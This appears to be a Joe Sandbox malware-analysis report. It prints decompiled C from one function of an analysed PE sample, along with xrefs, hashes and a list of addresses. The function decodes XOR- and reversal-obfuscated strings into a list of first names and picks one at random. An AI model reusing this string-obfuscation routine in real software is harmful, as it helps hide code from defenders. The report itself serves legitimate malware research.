m, xrefs: 0040F5F5
r, xrefs: 0040F932
B, xrefs: 0040F5CE
e, xrefs: 0040F3BE
z, xrefs: 0040F962
d, xrefs: 0040FA0E
r, xrefs: 0040F9A0
g, xrefs: 0040FB25
y, xrefs: 0040F8F3
a, xrefs: 0040FB64
q, xrefs: 0040F2E7
>, xrefs: 0040FA5B
e, xrefs: 0040F95A
t, xrefs: 0040FDB0
`, xrefs: 0040F6B4
herej, xrefs: 0040FC78
agy, xrefs: 0040FE18
o, xrefs: 0040F2A0
r, xrefs: 0040F714
d, xrefs: 0040F347
n, xrefs: 0040FD61
a, xrefs: 0040F85D
b, xrefs: 0040F3CE

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CountTick
String ID: #$5$6$6$7$>$>$B$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
API String ID: 536389180-3007975938
Opcode ID: 1188a2b12083b2b3864b3359df5089f0ed5b0d7bfac6b05cac727f16975ad037
Instruction ID: aecf16b383513fa96a4113d04a1e4cd7c202188be9798d0cf0f2d38be1ee06e6
Opcode Fuzzy Hash: 1188a2b12083b2b3864b3359df5089f0ed5b0d7bfac6b05cac727f16975ad037
Instruction Fuzzy Hash: 34729E2044D7C189E332C72884587DFBFD26BE6718F088E9ED5DD1A292C6BA0258C777

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBF0, Relevance: 148.3, Strings: 118, Instructions: 813
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E0040DBF0(void* __ebx, void* __edx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				signed char _v70;
				signed char _v71;
				signed char _v72;
				signed char _v73;
				signed char _v74;
				signed char _v75;
				signed char _v76;
				signed char _v78;
				signed char _v79;
				signed char _v80;
				signed char _v81;
				signed char _v82;
				signed char _v83;
				signed char _v84;
				char _v92;
				char _v100;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				signed char _v127;
				signed char _v128;
				signed char _v129;
				signed char _v130;
				signed char _v131;
				signed char _v132;
				signed char _v135;
				signed char _v136;
				signed char _v137;
				signed char _v138;
				signed char _v139;
				signed char _v140;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v156;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				signed char _v175;
				signed char _v176;
				signed char _v177;
				signed char _v178;
				signed char _v179;
				signed char _v180;
				signed char _v183;
				signed char _v184;
				signed char _v185;
				signed char _v186;
				signed char _v187;
				signed char _v188;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v204;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				signed char _v231;
				signed char _v232;
				signed char _v233;
				signed char _v234;
				signed char _v235;
				signed char _v236;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v268;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				signed int _v287;
				signed int _v288;
				signed int _v289;
				signed int _v290;
				signed int _v291;
				signed int _v292;
				signed int _v294;
				signed int _v295;
				signed int _v296;
				signed int _v297;
				signed int _v298;
				signed int _v299;
				signed int _v300;
				char _v308;
				signed int _v311;
				signed int _v312;
				signed int _v313;
				signed int _v314;
				signed int _v315;
				signed int _v316;
				signed int _v318;
				signed int _v319;
				signed int _v320;
				signed int _v321;
				signed int _v322;
				signed int _v323;
				char _v324;
				char _v326;
				signed int _v327;
				signed int _v328;
				signed int _v329;
				signed int _v330;
				signed int _v331;
				signed int _v332;
				signed int _v335;
				signed int _v336;
				signed int _v337;
				signed int _v338;
				signed int _v339;
				signed int _v340;
				signed int _v343;
				signed char _v344;
				signed char _v345;
				signed char _v346;
				signed char _v347;
				signed char _v348;
				intOrPtr _v352;
				signed int* _v356;
				signed char* _v360;
				signed int* _v364;
				signed char* _v368;
				char* _v372;
				intOrPtr _v376;
				char* _v380;
				intOrPtr _v384;
				char* _v388;
				intOrPtr _v392;
				char* _v396;
				signed char* _v400;
				intOrPtr _v404;
				char* _v408;
				char* _v412;
				char* _v416;
				intOrPtr _v420;
				char* _v424;
				signed int* _v428;
				intOrPtr _v432;
				signed int* _v436;
				char* _v440;
				signed int _v444;
				char* _v448;
				char* _v452;
				char* _v456;
				intOrPtr _v460;
				char* _v464;
				intOrPtr _v468;
				char _v469;
				char _v470;
				char _v471;
				char _v472;
				signed char* _v476;
				char* _v480;
				char _v481;
				char _v482;
				char _v483;
				void* _v484;
				char _v485;
				char _v486;
				char _v487;
				void* _v488;
				char _v489;
				char _v490;
				char _v491;
				void* _v492;
				char _v493;
				char _v494;
				char _v495;
				void* _v496;
				char* _v500;
				intOrPtr _v504;
				signed char _v505;
				signed char _v506;
				signed char _v507;
				signed char _v508;
				char _v509;
				char _v510;
				char _v511;
				char _v512;
				intOrPtr _v516;
				char _v517;
				char _v518;
				char _v519;
				char _v520;
				intOrPtr _v524;
				signed int _v525;
				signed int _v526;
				signed int _v527;
				signed int _v528;
				char _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v552;
				intOrPtr _t627;
				void* _t630;
				void* _t636;
				char* _t642;
				void* _t644;
				void* _t652;
				void* _t657;
				void* _t664;
				void* _t670;
				void* _t677;
				void* _t683;
				void* _t691;
				char _t698;
				char _t703;
				signed int _t721;
				intOrPtr* _t723;
				char _t730;
				char _t735;
				char _t743;
				char _t750;
				char _t755;
				char _t761;
				char _t771;
				char _t776;
				char _t782;
				void* _t788;
				void* _t793;
				signed int _t810;
				intOrPtr _t811;
				void* _t887;
				void* _t888;
				intOrPtr _t890;
				void* _t891;
				void* _t893;
				void* _t894;
				void* _t895;
				void* _t896;
				void* _t897;
				char _t898;
				void* _t899;
				void* _t900;
				void* _t901;
				void* _t902;
				void* _t903;
				char _t904;
				intOrPtr _t907;
				void* _t909;

				_t909 =  &_v488;
				_t627 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t627;
				_push(4);
				_push( &_v472);
				_v244 = 0x61;
				_v243 = 0x64;
				_v242 = 0x61;
				_v241 = 0x6d;
				_v240 = 0;
				_v472 = 0x65;
				_v471 = 0xc0;
				_v470 = 0x88;
				_v469 = 0xf4;
				_v488 = 0x73;
				_v487 = 0x11;
				_v486 = 0x7e;
				_v485 = 0x1c;
				_v460 = E0040D980( &_v488);
				_v212 = 0x62;
				_v211 = 0x72;
				_v210 = 0x65;
				_v209 = 0x6e;
				_v208 = 0x74;
				_v207 = 0;
				_v292 = 0xb0;
				_v291 = 0xef;
				_v290 = 0xd3;
				_v289 = 0x32;
				_v288 = 0x31;
				_v287 = 0xee;
				_t630 = 0;
				_t893 = 5;
				asm("pushad");
				asm("popad");
				do {
					_t730 =  *((intOrPtr*)(_t909 + _t630 + 0xd8));
					 *((char*)(_t909 + _t630 + 0xd8)) =  *((intOrPtr*)(_t909 + _t893 + 0xd8));
					_t630 = _t630 + 1;
					 *((char*)(_t909 + _t893 + 0xd8)) = _t730;
					_t893 = _t893 - 1;
				} while (_t630 < _t893);
				_v188 = _v292 ^ 0x0000008c;
				_v187 = _v291 ^ 0x00000043;
				_v186 = _v290 ^ 0x0000005b;
				_v185 = _v289 ^ 0x000000b2;
				_v226 = 0x76;
				_v170 = 0x76;
				_v184 = _v288 ^ 0x00000081;
				_v183 = _v287 ^ 0x000000b0;
				_v76 = 0x63;
				_v75 = 0x72;
				_v74 = 0x61;
				_v73 = 0x69;
				_v72 = 0x67;
				_v71 = 0;
				_v148 = 0x63;
				_v147 = 0x79;
				_v146 = 0x62;
				_v145 = 0x65;
				_v144 = 0x72;
				_v143 = 0;
				_v484 = 0x64;
				_v483 = 0x61;
				_v482 = 0x6e;
				_v481 = 0;
				_v228 = 0x64;
				_v227 = 0x61;
				_v225 = 0x65;
				_v224 = 0;
				_v172 = 0x64;
				_v171 = 0x61;
				_v169 = 0x69;
				_v168 = 0x64;
				_v167 = 0;
				_v292 = 0x85;
				_v291 = 0x75;
				_v290 = 0x61;
				_v289 = 0x60;
				_v288 = 0x68;
				_v287 = 0x2c;
				_t636 = 0;
				_t894 = 5;
				do {
					_t735 =  *((intOrPtr*)(_t909 + _t636 + 0xd8));
					 *((char*)(_t909 + _t636 + 0xd8)) =  *((intOrPtr*)(_t909 + _t894 + 0xd8));
					_t636 = _t636 + 1;
					 *((char*)(_t909 + _t894 + 0xd8)) = _t735;
					_t894 = _t894 - 1;
				} while (_t636 < _t894);
				_v132 = _v292 ^ 0x00000048;
				_v131 = _v291 ^ 0x0000000d;
				_v130 = _v290 ^ 0x00000002;
				_v129 = _v289 ^ 0x00000003;
				_push(4);
				_v128 = _v288 ^ 0x0000000c;
				_push( &_v492);
				 *0x431c89 = 0x19;
				_v127 = _v287 ^ 0x00000085;
				_v492 = 0xc1;
				_v491 = 0x6a;
				_v490 = 0x1d;
				_v489 = 4;
				_v496 = 0xb0;
				_v495 = 0xd4;
				_v494 = 0xb1;
				_v493 = 0xdf;
				_t642 = E0040D980( &_v496);
				_push(6);
				_push( &_v116);
				_v464 = _t642;
				_v116 = 0x57;
				_v115 = 0xc8;
				_v114 = 0x41;
				_v113 = 3;
				_v112 = 0x4e;
				_v111 = 0x40;
				_v300 = 0xd4;
				_v299 = 0xb2;
				_v298 = 0xc0;
				_v297 = 0xa1;
				_v296 = 0xcf;
				_v295 = 0xa4;
				_v484 = E0040D980( &_v300);
				_v300 = 0x78;
				_v299 = 0x39;
				_v298 = 0xb1;
				_v297 = 0xa4;
				_v296 = 0xe;
				_v295 = 0x10;
				_v294 = 9;
				_t644 = 0;
				_pop(_t887);
				_t895 = 6;
				do {
					_t743 =  *((intOrPtr*)(_t909 + _t644 + 0xe0));
					 *((char*)(_t909 + _t644 + 0xe0)) =  *((intOrPtr*)(_t909 + _t895 + 0xe0));
					_t644 = _t644 + 1;
					 *((char*)(_t909 + _t895 + 0xe0)) = _t743;
					_t895 = _t895 - 1;
				} while (_t644 < _t895);
				_v76 = _v300 ^ 0x0000006e;
				_v75 = _v299 ^ 0x00000075;
				_v74 = _v298 ^ 0x00000061;
				_v73 = _v297 ^ 0x000000d6;
				_v72 = _v296 ^ 0x000000d6;
				_push(8);
				_push( &_v44);
				_v71 = _v295 ^ 0x0000005c;
				 *0x431c89 = 0x19;
				_v70 = _v294 ^ 0x00000078;
				_v44 = 0xef;
				_v43 = 0xb3;
				_v42 = 0x36;
				_v41 = 0x5a;
				_v40 = 0x64;
				_v39 = 0x36;
				_v38 = 0xbd;
				_v37 = 0x1b;
				_v284 = 0x1c;
				_v283 = 0x7b;
				_v282 = 0x1e;
				_v281 = 0x6c;
				_v280 = 4;
				_v279 = 0x65;
				_v278 = 0x17;
				_v277 = 0x73;
				_v488 = E0040D980( &_v284);
				_v316 = 0x1b;
				_v315 = 0xd3;
				_v314 = 0xb2;
				_v313 = 0xb7;
				_v312 = 0xd9;
				_v311 = 0x57;
				_t652 = 0;
				_t896 = 5;
				do {
					_t750 =  *((intOrPtr*)(_t909 + _t652 + 0xd8));
					 *((char*)(_t909 + _t652 + 0xd8)) =  *((intOrPtr*)(_t909 + _t896 + 0xd8));
					_t652 = _t652 + 1;
					 *((char*)(_t909 + _t896 + 0xd8)) = _t750;
					_t896 = _t896 - 1;
				} while (_t652 < _t896);
				_v180 = _v316 ^ 0x0000003d;
				_v179 = _v315 ^ 0x000000b8;
				_v178 = _v314 ^ 0x000000da;
				_v177 = _v313 ^ 0x000000d7;
				_v176 = _v312 ^ 0x000000a0;
				_v175 = _v311 ^ 0x0000001b;
				_v76 = 0x6a;
				_v75 = 0x61;
				_v74 = 0x79;
				_v73 = 0x73;
				_v72 = 0x6f;
				_v71 = 0x6e;
				_v70 = 0;
				_v316 = 0x5d;
				_v315 = 0xdf;
				_v314 = 0x27;
				_v313 = 0xb2;
				_v312 = 0x24;
				_v311 = 0xa9;
				_t657 = 0;
				_t897 = 5;
				do {
					_t755 =  *((intOrPtr*)(_t909 + _t657 + 0xd8));
					 *((char*)(_t909 + _t657 + 0xd8)) =  *((intOrPtr*)(_t909 + _t897 + 0xd8));
					_t657 = _t657 + 1;
					 *((char*)(_t909 + _t897 + 0xd8)) = _t755;
					_t897 = _t897 - 1;
				} while (_t657 < _t897);
				_v140 = _v316 ^ 0x000000c3;
				_v139 = _v315 ^ 0x00000041;
				_v138 = _v314 ^ 0x000000c0;
				_v137 = _v313 ^ 0x00000055;
				_push(4);
				_v136 = _v312 ^ 0x000000a6;
				_push( &_v512);
				 *0x431c89 = 0x19;
				_v135 = _v311 ^ 0x0000005d;
				_v512 = 0x89;
				_v511 = 0xda;
				_v510 = 8;
				_v509 = 0x66;
				_v520 = 0x42;
				_v519 = 0x28;
				_v518 = 0x41;
				_v517 = 0x2c;
				_v504 = E0040D980( &_v520);
				_v528 = 0xb7;
				_v527 = 0xde;
				_v526 = 0x21;
				_v525 = 0x73;
				_t664 = 0;
				_t898 = 3;
				do {
					_t761 =  *((intOrPtr*)(_t909 + _t664 + 0xc));
					 *((char*)(_t909 + _t664 + 0xc)) =  *((intOrPtr*)(_t909 + _t898 + 0xc));
					_t664 = _t664 + 1;
					 *((char*)(_t909 + _t898 + 0xc)) = _t761;
					_t898 = _t898 - 1;
				} while (_t664 < _t898);
				_v508 = _v528 ^ 0x00000019;
				_v507 = _v527 ^ 0x0000004e;
				_push(6);
				_push( &_v196);
				_t266 =  &_v324; // 0x78
				_v506 = _v526 ^ 0x000000bb;
				 *0x431c89 = 0x19;
				_v505 = _v525 ^ 0x000000b7;
				_v292 = 0x6a;
				_v291 = 0x6f;
				_v290 = 0x68;
				_v289 = 0x6e;
				_v288 = 0;
				_v196 = 0xf5;
				_v195 = 0x6f;
				_v194 = 0x36;
				_v193 = 0x2c;
				_v192 = 0x84;
				_v191 = 0x4f;
				_v324 = 0x45;
				_v323 = 0x24;
				_v322 = 0x48;
				_v321 = 0x21;
				_v320 = 0x42;
				_v319 = 0x27;
				_v536 = E0040D980(_t266);
				_v276 = 0x61;
				_v275 = 0x6e;
				_v274 = 0x6e;
				_v273 = 0x61;
				_v272 = 0;
				_v324 = 0x6e;
				_v323 = 0x3b;
				_v322 = 0x97;
				_v321 = 0xd3;
				_v320 = 0x92;
				_v319 = 0xcb;
				_v318 = 0x44;
				_t670 = 0;
				_t888 = _t887;
				_t899 = 6;
				do {
					_t300 = _t899 + 0xe0; // 0x6e
					_t302 = _t670 + 0xe0; // 0x6e
					 *((char*)(_t909 + _t670 + 0xe0)) =  *((intOrPtr*)(_t909 + _t300));
					_t670 = _t670 + 1;
					 *((char*)(_t909 + _t899 + 0xe0)) =  *((intOrPtr*)(_t909 + _t302));
					_t899 = _t899 - 1;
				} while (_t670 < _t899);
				_t307 =  &_v324; // 0x6e
				_v84 =  *_t307 ^ 0x00000026;
				_v81 = _v321 ^ 0x000000bd;
				_v83 = _v323 ^ 0x000000b9;
				_v82 = _v322 ^ 0x000000f7;
				_v78 = _v318 ^ 0x0000006e;
				_v80 = _v320 ^ 0x000000f3;
				_v79 = _v319 ^ 0x0000005a;
				_v60 = 0x63;
				_v59 = 0x6c;
				_v58 = 0x61;
				_v57 = 0x75;
				_v56 = 0x64;
				_v55 = 0x69;
				_v54 = 0x61;
				_v53 = 0;
				_v332 = 0x71;
				_v331 = 0x6a;
				_v330 = 0x4c;
				_v329 = 0x72;
				_v328 = 0x4d;
				_v327 = 1;
				_t677 = 0;
				_t900 = 5;
				_push(_t888);
				do {
					_t771 =  *((intOrPtr*)(_t909 + _t677 + 0xd8));
					 *((char*)(_t909 + _t677 + 0xd8)) =  *((intOrPtr*)(_t909 + _t900 + 0xd8));
					_t677 = _t677 + 1;
					 *((char*)(_t909 + _t900 + 0xd8)) = _t771;
					_t900 = _t900 - 1;
				} while (_t677 < _t900);
				_t345 =  &_v330; // 0x4c
				_v180 = _v332 ^ 0x00000069;
				_t347 =  &_v329; // 0x72
				_v179 = _v331 ^ 0x00000028;
				_t349 =  &_v328; // 0x4d
				_v178 =  *_t345 ^ 0x0000001e;
				_v177 =  *_t347 ^ 0x00000029;
				_v330 = 0xb5;
				_v329 = 0xb5;
				_v176 =  *_t349 ^ 0x00000004;
				_v175 = _v327 ^ 0x00000071;
				_v260 = 0x6a;
				_v259 = 0x61;
				_v258 = 0x6e;
				_v257 = 0x65;
				_v256 = 0;
				_v332 = 0x16;
				_v331 = 0xa9;
				_v328 = 0x78;
				_v327 = 0xb9;
				_t683 = 0;
				_t901 = 5;
				do {
					_t776 =  *((intOrPtr*)(_t909 + _t683 + 0xd8));
					 *((char*)(_t909 + _t683 + 0xd8)) =  *((intOrPtr*)(_t909 + _t901 + 0xd8));
					_t683 = _t683 + 1;
					 *((char*)(_t909 + _t901 + 0xd8)) = _t776;
					_t901 = _t901 - 1;
				} while (_t683 < _t901);
				_v140 = _v332 ^ 0x000000d4;
				_v139 = _v331 ^ 0x00000019;
				_v138 = _v330 ^ 0x000000c7;
				_v137 = _v329 ^ 0x000000dc;
				_push(6);
				_v136 = _v328 ^ 0x000000c8;
				_push( &_v108);
				 *0x431c89 = 0x19;
				_v135 = _v327 ^ 0x00000016;
				_v108 = 0x53;
				_v107 = 0x8b;
				_v106 = 0xa2;
				_v105 = 0x94;
				_v104 = 0x67;
				_v103 = 0x43;
				_v332 = 0x66;
				_v331 = 0x35;
				_v330 = 0x40;
				_v329 = 0x33;
				_v328 = 0x52;
				_v327 = 0x3c;
				_push(E0040D980( &_v332));
				_pop(_t907);
				_v132 = 0x6c;
				_v131 = 0x69;
				_v130 = 0x6e;
				_v129 = 0x64;
				_v128 = 0x61;
				_v127 = 0;
				_v84 = 0x73;
				_v83 = 0x61;
				_v82 = 0x6e;
				_v81 = 0x64;
				_v80 = 0x72;
				_v79 = 0x61;
				_v78 = 0;
				_v292 = 0x6c;
				_v291 = 0x69;
				_v290 = 0x73;
				_v289 = 0x61;
				_v288 = 0;
				_v340 = 0x61;
				_v339 = 1;
				_v338 = 0x45;
				_v337 = 0xff;
				_v336 = 0x6e;
				_v335 = 0xf4;
				_push(0);
				_pop(_t691);
				_t902 = 5;
				do {
					_t782 =  *((intOrPtr*)(_t909 + _t691 + 0xdc));
					 *((char*)(_t909 + _t691 + 0xdc)) =  *((intOrPtr*)(_t909 + _t902 + 0xdc));
					_t691 = _t691 + 1;
					 *((char*)(_t909 + _t902 + 0xdc)) = _t782;
					_t902 = _t902 - 1;
				} while (_t691 < _t902);
				_v140 = _v340 ^ 0x00000099;
				_v139 = _v339 ^ 0x0000000f;
				_v138 = _v338 ^ 0x00000091;
				_v137 = _v337 ^ 0x00000026;
				_push(6);
				_v136 = _v336 ^ 0x00000078;
				_push( &_v172);
				_t444 =  &_v340; // 0x66
				 *0x431c89 = 0x19;
				_v135 = _v335 ^ 0x00000061;
				_v172 = 0;
				_v171 = 0xc3;
				_v170 = 0x49;
				_v169 = 0x83;
				_v168 = 0xfc;
				_v167 = 0x33;
				_v340 = 0x75;
				_v339 = 0x1e;
				_v338 = 0x7f;
				_v337 = 0xd;
				_v336 = 0x68;
				_v335 = 6;
				_push(E0040D980(_t444));
				_pop(_t890);
				_v260 = 0x62;
				_v259 = 0x65;
				_v258 = 0x74;
				_v257 = 0x74;
				_v256 = 0x79;
				_v255 = 0;
				_v252 = 0x68;
				_v251 = 0x65;
				_v250 = 0x6c;
				_v249 = 0x65;
				_v248 = 0x6e;
				_v247 = 0;
				_v324 = 0x73;
				_v323 = 0x61;
				_v322 = 0x6e;
				_v321 = 0x64;
				_v320 = 0x72;
				_v319 = 0x61;
				_v318 = 0;
				_v348 = 8;
				_v347 = 0xf;
				_v346 = 0x6d;
				_v345 = 0xa3;
				_v344 = 0x9f;
				_v343 = 0x98;
				_t788 = 0;
				_t903 = 5;
				do {
					_t698 =  *((intOrPtr*)(_t909 + _t788 + 0xdc));
					 *((char*)(_t909 + _t788 + 0xdc)) =  *((intOrPtr*)(_t909 + _t903 + 0xdc));
					_t788 = _t788 + 1;
					 *((char*)(_t909 + _t903 + 0xdc)) = _t698;
					_t903 = _t903 - 1;
				} while (_t788 < _t903);
				_v235 = _v347 ^ 0x000000f0;
				_v236 = _v348 ^ 0x000000dc;
				_v234 = _v346 ^ 0x000000cd;
				_v232 = _v344 ^ 0x0000006e;
				_v233 = _v345 ^ 0x00000003;
				_v231 = _v343 ^ 0x00000008;
				_v340 = 0x63;
				_v339 = 0x61;
				_v338 = 0x72;
				_v337 = 0x6f;
				_v336 = 0x6c;
				_v335 = 0;
				_v332 = 0xee;
				_v331 = 0x5b;
				_v330 = 0xc5;
				_v329 = 0x99;
				_v328 = 0x2f;
				_t793 = 0;
				_t904 = 4;
				do {
					_t703 =  *((intOrPtr*)(_t909 + _t793 + 0xec));
					 *((char*)(_t909 + _t793 + 0xec)) =  *((intOrPtr*)(_t909 + _t904 + 0xec));
					_t793 = _t793 + 1;
					 *((char*)(_t909 + _t904 + 0xec)) = _t703;
					_t904 = _t904 - 1;
				} while (_t793 < _t904);
				_v348 = _v332 ^ 0x0000005d;
				_v347 = _v331 ^ 0x000000ec;
				_v346 = _v330 ^ 0x000000b1;
				_v345 = _v329 ^ 0x00000033;
				_v344 = _v328 ^ 0x000000ee;
				_v504 = _v516;
				_v508 =  &_v308;
				_v500 =  &_v268;
				_v496 =  &_v244;
				_v492 =  &_v132;
				_v488 =  &_v540;
				_v484 =  &_v284;
				_v472 = _v512;
				_v480 =  &_v228;
				_v476 =  &_v188;
				_v468 = _v524;
				_v460 = _v520;
				_v464 =  &_v116;
				_v456 =  &_v212;
				_v452 =  &_v108;
				_v448 =  &_v172;
				_v444 = _v528;
				_v440 =  &_v532;
				_v436 =  &_v316;
				_v432 = _v552;
				_v428 =  &_v292;
				_v424 =  &_v100;
				_t576 =  &_v76; // 0x64
				_v420 = _t576;
				_v416 =  &_v196;
				_v412 =  &_v276;
				_v408 =  &_v156;
				 *0x431c89 = 0x19;
				_v332 = 0x73;
				_v331 = 0x68;
				_v330 = 0x61;
				_v329 = 0x72;
				_v328 = 0x6f;
				_v327 = 0x6e;
				_v326 = 0;
				_v404 = _t907;
				_v400 =  &_v140;
				_v396 =  &_v92;
				_t596 =  &_v300; // 0x6c
				_v392 = _t596;
				_t600 =  &_v252; // 0x68
				_v388 =  &_v148;
				_v380 =  &_v260;
				_v376 = _t600;
				_v372 =  &_v324;
				_v368 =  &_v236;
				_v364 =  &_v340;
				_t612 =  &_v204; // 0x72
				_v384 = _t890;
				_v360 =  &_v348;
				_v356 =  &_v332;
				_v352 = _t612;
				_t721 = E0040C1D0( &_v332);
				_t810 = 0x28;
				_t905 =  *((intOrPtr*)(_t909 + 0x38 + _t721 % _t810 * 4));
				_t723 =  *((intOrPtr*)(_t909 + 0x38 + _t721 % _t810 * 4));
				_t891 = _t723 + 1;
				do {
					_t811 =  *_t723;
					_t723 = _t723 + 1;
				} while (_t811 != 0);
				return E00424873(E004028A0(_v60, _t905, _t723 - _t891), _v76);
			}

0x0040dbf0
0x0040dbf6
0x0040dbfe
0x0040dc05
0x0040dc0d
0x0040dc12
0x0040dc1a
0x0040dc22
0x0040dc2a
0x0040dc32
0x0040dc39
0x0040dc3e
0x0040dc43
0x0040dc48
0x0040dc4d
0x0040dc52
0x0040dc57
0x0040dc5c
0x0040dc66
0x0040dc6a
0x0040dc72
0x0040dc7a
0x0040dc82
0x0040dc8a
0x0040dc92
0x0040dc99
0x0040dca1
0x0040dca9
0x0040dcb1
0x0040dcb9
0x0040dcc1
0x0040dcc9
0x0040dccd
0x0040dcce
0x0040dccf
0x0040dcd0
0x0040dcd7
0x0040dcde
0x0040dce5
0x0040dce6
0x0040dced
0x0040dcee
0x0040dd09
0x0040dd1f
0x0040dd2d
0x0040dd3b
0x0040dd4a
0x0040dd51
0x0040dd58
0x0040dd5f
0x0040dd66
0x0040dd6e
0x0040dd76
0x0040dd7e
0x0040dd86
0x0040dd8e
0x0040dd95
0x0040dd9d
0x0040dda5
0x0040ddad
0x0040ddb5
0x0040ddbd
0x0040ddc4
0x0040ddc9
0x0040ddce
0x0040ddd3
0x0040ddd7
0x0040dddf
0x0040dde7
0x0040ddef
0x0040ddf6
0x0040ddfe
0x0040de06
0x0040de0e
0x0040de16
0x0040de1d
0x0040de25
0x0040de2d
0x0040de35
0x0040de3d
0x0040de45
0x0040de4d
0x0040de53
0x0040de60
0x0040de67
0x0040de6e
0x0040de75
0x0040de76
0x0040de7d
0x0040de7e
0x0040de9c
0x0040deaa
0x0040debd
0x0040dece
0x0040ded5
0x0040dedb
0x0040dee5
0x0040deea
0x0040def1
0x0040def8
0x0040defd
0x0040df02
0x0040df07
0x0040df0c
0x0040df11
0x0040df16
0x0040df1b
0x0040df20
0x0040df25
0x0040df2e
0x0040df36
0x0040df3a
0x0040df42
0x0040df4a
0x0040df52
0x0040df5a
0x0040df62
0x0040df6a
0x0040df72
0x0040df7a
0x0040df82
0x0040df8a
0x0040df92
0x0040df9f
0x0040dfa3
0x0040dfab
0x0040dfb3
0x0040dfbb
0x0040dfc3
0x0040dfcb
0x0040dfd3
0x0040dfdb
0x0040dfde
0x0040dfe1
0x0040dfe2
0x0040dfe9
0x0040dff0
0x0040dff7
0x0040dff8
0x0040dfff
0x0040e000
0x0040e01e
0x0040e02c
0x0040e042
0x0040e050
0x0040e05e
0x0040e065
0x0040e073
0x0040e07b
0x0040e082
0x0040e089
0x0040e090
0x0040e098
0x0040e0a0
0x0040e0a8
0x0040e0b0
0x0040e0b8
0x0040e0c0
0x0040e0c8
0x0040e0d0
0x0040e0d8
0x0040e0e0
0x0040e0e8
0x0040e0f0
0x0040e0f8
0x0040e100
0x0040e108
0x0040e115
0x0040e119
0x0040e121
0x0040e129
0x0040e131
0x0040e139
0x0040e141
0x0040e149
0x0040e14f
0x0040e150
0x0040e157
0x0040e15e
0x0040e165
0x0040e166
0x0040e16d
0x0040e16e
0x0040e18f
0x0040e19d
0x0040e1ab
0x0040e1c1
0x0040e1c8
0x0040e1cf
0x0040e1d6
0x0040e1de
0x0040e1e6
0x0040e1ee
0x0040e1f6
0x0040e1fe
0x0040e206
0x0040e20d
0x0040e215
0x0040e21d
0x0040e225
0x0040e22d
0x0040e235
0x0040e23d
0x0040e243
0x0040e250
0x0040e257
0x0040e25e
0x0040e265
0x0040e266
0x0040e26d
0x0040e26e
0x0040e28c
0x0040e29a
0x0040e2ad
0x0040e2be
0x0040e2c5
0x0040e2cb
0x0040e2d5
0x0040e2da
0x0040e2e1
0x0040e2e8
0x0040e2ed
0x0040e2f2
0x0040e2f7
0x0040e2fc
0x0040e301
0x0040e306
0x0040e30b
0x0040e315
0x0040e319
0x0040e31e
0x0040e323
0x0040e328
0x0040e32d
0x0040e32f
0x0040e334
0x0040e338
0x0040e33c
0x0040e340
0x0040e341
0x0040e345
0x0040e346
0x0040e35b
0x0040e363
0x0040e367
0x0040e375
0x0040e376
0x0040e37d
0x0040e381
0x0040e388
0x0040e38c
0x0040e394
0x0040e39c
0x0040e3a4
0x0040e3ac
0x0040e3b3
0x0040e3bb
0x0040e3c3
0x0040e3cb
0x0040e3d3
0x0040e3db
0x0040e3e3
0x0040e3eb
0x0040e3f3
0x0040e3fb
0x0040e403
0x0040e40b
0x0040e418
0x0040e41c
0x0040e424
0x0040e42c
0x0040e434
0x0040e43c
0x0040e443
0x0040e44b
0x0040e453
0x0040e45b
0x0040e463
0x0040e46b
0x0040e473
0x0040e47b
0x0040e47e
0x0040e481
0x0040e482
0x0040e482
0x0040e489
0x0040e490
0x0040e497
0x0040e498
0x0040e49f
0x0040e4a0
0x0040e4a4
0x0040e4bb
0x0040e4d1
0x0040e4df
0x0040e4ed
0x0040e503
0x0040e50a
0x0040e511
0x0040e518
0x0040e520
0x0040e528
0x0040e530
0x0040e538
0x0040e540
0x0040e548
0x0040e550
0x0040e557
0x0040e55f
0x0040e567
0x0040e56f
0x0040e577
0x0040e57f
0x0040e587
0x0040e58d
0x0040e58e
0x0040e590
